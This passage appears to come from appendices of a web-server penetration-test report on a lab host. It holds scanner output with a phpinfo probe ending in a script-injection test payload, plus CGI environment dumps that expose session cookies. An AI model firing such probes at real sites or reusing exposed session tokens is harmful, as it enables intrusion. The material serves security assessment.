/phpinfo.php?cx[]=NTMqFLr1j6LdJrE46fwFjl44rFJgmcvMUxyxNBcalb5YXC7xT5MTgV7jvHf24QGEfSNjYbcOWADS2K
fKh6tOmoscuOcLTUNS5pFw2uDXV0gpxaqYS92Wm5qpbRPCSoaHEMypuUW2HA9RSERZYJzTq12InAqYAgkQZWyL3fby
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WmiQZCwbMxSGzO4N5mNbJrhJsNIzm8nDG7j5LvxOnbEOu7I5i3bE9yud2K6bylel0OJ9kem8ztvFpug93Wd3TdSo57nX
a37mr0QeofJLIlEE2x4rpg5FZdyXvsoGHc2CGJfJQoDiJxdGjubl1Tg9DUbCFWXv53ISToAuUOVVWKXz30SOIXOWkaGUgjK
cSVhOMCNYSwgMcH5apRIJMLdeBN19Qlu6jrqd83EwFiuKGtluZDT930FGnUgje5cxIRSPTPUKAGRmMpRICO6NtPC1zA16
wYSXgIK6535mjRTHGOvsIH8UQdIxtdgQOVo23HAJIV3W8JoSnHRWvw7NsOFBulUaThBMrYyyw885aA8IVAKEHL6IF2H
L2UwQMDRGFFFfzkAVIWCFiJSTue75ifGB5nXSGjxemGFriTgq0lQhdq00MjDX4AbJZDbmUPtIRVOfKRoH3BOKCHpwijAal
61JJz0WbSbINdDVG9wzyoaicLWwCY1ITnpal2hGAsMeFhOkKpN3S95SpTMDpzWcmiYu7FaUSUyGsVX41Y7tFcHPbgl
OyyeAQLKo5wdCkHkuRiWksDPIPUgugOpQ4FbZaCllg2JaZndNmDZZnPNrXxEBAtIGoZ5pcJHbEjueYoiOBVSIDKDSpwl
YR-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?2uohFq9TVhfkmrZzwZzl7ce2 AxN
gapZozDrlOJvlvj5ICci3na9w4Xt883hJfVR7BIgYFdnILLNNEPqQgI9ITPs2PuNVQNnJZtZjXq48cuk9yDzC5a8PgWaNAJoVG
AvsniTMMaQnlonhGOPnfn9Ff9XOP59yS6tcMUS5GY20FkpCX9H74JQZNnCkRL3gyVXH3SgqI8INHs06qz9ctiZRwmMn3Vf
f59tdsUmL8zNACMSROWVpSHncwums2FA4jQ5ToW6VyT2TYBLhMnen08w5g0eb0OvnQViKgOQHoYy4NIlaprzcZ5dm
GiFXGilWORIelOEceQsDdU5PcglQ939FmCThJrf2Q8VTAePU9r44Lnw7JfBYeH6kkTolBdPdOIgNhwijJtG3ufjUsLgNSXhH
3mbDsgkYBH2U2Ea8g0Pb8ZhZDXNJcs06QEzJ6777LGMgpnsEUIJmOkKhjitRaLR5iUMykt3Q5YI122iXLkzyGrCsZX5hTitXz
0iY3TN63dnfO8YkehsGWIBzmlalBgbtMP1lelREqueQx4I12nXhBfO1R7WhgSFrKrwzWZEKFX3pANWRdANtseqlxDDIP3dK
1X6S7YqpxebpiiZsxqESz1PDayutOjYepAXTChuyUrKyTmrAS5cvdXawlLw6ilYbOtSo<script>alert(foo)</script>: Output
from the phpinfo() function was found.

+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.

+ 9308 requests: 0 error(s) and 37 item(s) reported on remote host
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+End Time: 2017-11-23 11:37:53 (GMTO) (24 seconds)

+ 1 host(s) tested
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APPENDIX D1 - /cGI-BIN/PRINTENV

CONTEXT_DOCUMENT_ROOT="/opt/lampp/cgi-bin/"
CONTEXT_PREFIX="/cgi-bin/"

DOCUMENT_ROOT="/mnt/sda2/website"

GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HTTP_ACCEPT_LANGUAGE="en-US,en;q=0.5"

HTTP_CONNECTION="close"

HTTP_COOKIE="PHPSESSID=0571000nnvbl0jvg9mucov2as5;
SecretCookie=5957527461573436616d397a5a58426f4f6a45314d44677a4d5449334f54553d;
filemanager=b3daOu12j8r9a7i3351b91n085"

HTTP_HOST="192.168.1.10"

HTTP_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
LD_LIBRARY_PATH="/opt/lampp/lib:/opt/lampp/lib"
PATH="/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin"
QUERY_STRING=""

REMOTE_ADDR="192.168.1.200"

REMOTE_PORT="34046"

REQUEST_METHOD="GET"

REQUEST_SCHEME="http"

REQUEST_URI="/cgi-bin/printenv"
SCRIPT_FILENAME="/opt/lampp/cgi-bin/printenv"
SCRIPT_NAME="/cgi-bin/printenv"

SERVER_ADDR="192.168.1.10"
SERVER_ADMIN="you@example.com"
SERVER_NAME="192.168.1.10"

SERVER_PORT="80"

SERVER_PROTOCOL="HTTP/1.1"

SERVER_SIGNATURE=""
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SERVER_SOFTWARE="Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7"

UNIQUE_ID="Wec8HX8AAAEAABbuCnMAAAAA"
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APPENDIX D2 -/CGI-BIN/TEST-CGI

CGl/1.0 test script report:

argcis 0. argv is.

SERVER_SOFTWARE = Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7
SERVER_NAME =192.168.1.10

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/1.1

SERVER_PORT =80

REQUEST_METHOD = GET

HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /cgi-bin/test-cgi

QUERY_STRING =

REMOTE_HOST =

REMOTE_ADDR =192.168.1.200

REMOTE_USER =

AUTH_TYPE =

CONTENT_TYPE =

CONTENT_LENGTH =
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APPENDIX E1 — NESSUS REPORT
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